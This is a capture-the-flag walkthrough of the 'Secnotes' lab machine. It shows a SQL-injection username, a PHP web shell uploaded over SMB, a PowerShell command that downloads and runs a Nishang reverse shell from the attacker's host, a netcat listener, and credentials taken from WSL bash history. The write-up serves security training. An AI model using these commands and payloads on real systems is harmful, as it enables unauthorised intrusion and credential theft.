Secnotes
Introduction
Secnotes is a windows 10 box that shows the flaws inherent in the new Windows Subsystem for Linux
Service Detection
First things first, let’s see what services we can find on this box
OK, so we have a Windows 10 Enterprise system and we have port 80 445 open
Website
A login page. Trying admin/admin, admin/password doesn’t yeild anything.
There is a register link. We try that and we can register a user, without an email confirmation, and login as it
So we have an application where we can create notes and they are displayed back to us. Putting some control characters in the notes Subject and Body, doesn’t yeild any SQL errors, so lets
concentrate on the login name. As the notes are probably retrieve with some SQL similar to SELECT * from Notes where username = 'whipped'
Let’s see if we can inject something in there. Start with something simple. Register a user called whipped' or 2>1 -- -
to see if we get an error from the SQL and can proceed from there.
Hmm, we’ve got some notes that we probably weren’t meant to see. Let’s have a look at them.
We have a recipe for Sticky Buns (May have to try those out at some point)
A list of years
And what look like login credentials
Make a note of them and let’s enumerate the SMB
SMB Server
We try connecting to the share we found as the user tyler
We’re in. It seems like this is a default site for IIS, but if we browse to http://10.10.10.97/iisstart.htm, we get a 404
Let’s do a full scan of the server and see if there are any other ports we can find open
Port 8808 is open. If we connect to it, this could be the iis service for the smb folder we have access to
We know this server is setup for PHP, from the login.php of the secnotes application. So let’s try some basic php command execution and see if it works.
Create a file called rev.php with the following contents and upload it to the share (using the mput command)
We have command execution. But it dissappears after a while. It turns out there is a scheduled powershell script to remove anything that doesn’t match iisstart.*
. So we rename our command shell
to iisstart.php
and it is persistant
At this point we can try a reverse shell. I prefer Powershell reverse shells, to php.
Copy Nishang’s Invoke-PowerShellTcp script to a www directory and add the line Invoke-PowerShellTcp -Reverse -IPAddress <your ip> -Port 9001
to the bottom of the file
Run a simple python web server
python -m SimpleHTTPServer 80
and setup a listener
nc -lvnp 9001
Then run the following url to invoke it and connect back to your listener
http://10.10.10.97:8808/iisstart.php?cmd=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c iex (New-Object Net.WebClient).DownloadString("http://<your ip>/rev.ps1")
The User flag is available under C:\Users\Tyler\Desktop\
We also see from shortcuts on the Desktop, one of which is bash.lnk
. Interesting.
In Tyler’s User folder, there are two folders of interest. ..* cleanup ..* secnotes_contacts
Cleanup
In the cleanup directory we find cleanup.ps1
. This is where we found the code that removes files that don’t start with iisstart, referenced earlier
Secnotes Contacts
The secnotes_contacts.ps1 file checks for the existence of .txt files that include urls and then runs
(iwr $url -WebSession $session -TimeoutSec 1 -UseBasicParsing).content
This looks tempting as a entry point, especially if this Powershell script is run as admin privligies, but there is a much easier road to travel, as we shall see
WSL
Looking at the C:\ drive, we find a Distros\Ubuntu
directory
This indicates the presence of Windows Subsystem for Linux. Let’s take a look at this further as we don’t usually see this on a box.
You can prefix linux commands with wsl
to have them run from powershell. Let’s look at the /root/ directory.
The filesystem directory is empty, so lets take a look at .bash_history and see what has been run in the past.
We can see a smbclient command with an administrator username and password. Seperated by a percent sign
Lets try it out
There’s the root flag. Do a little dance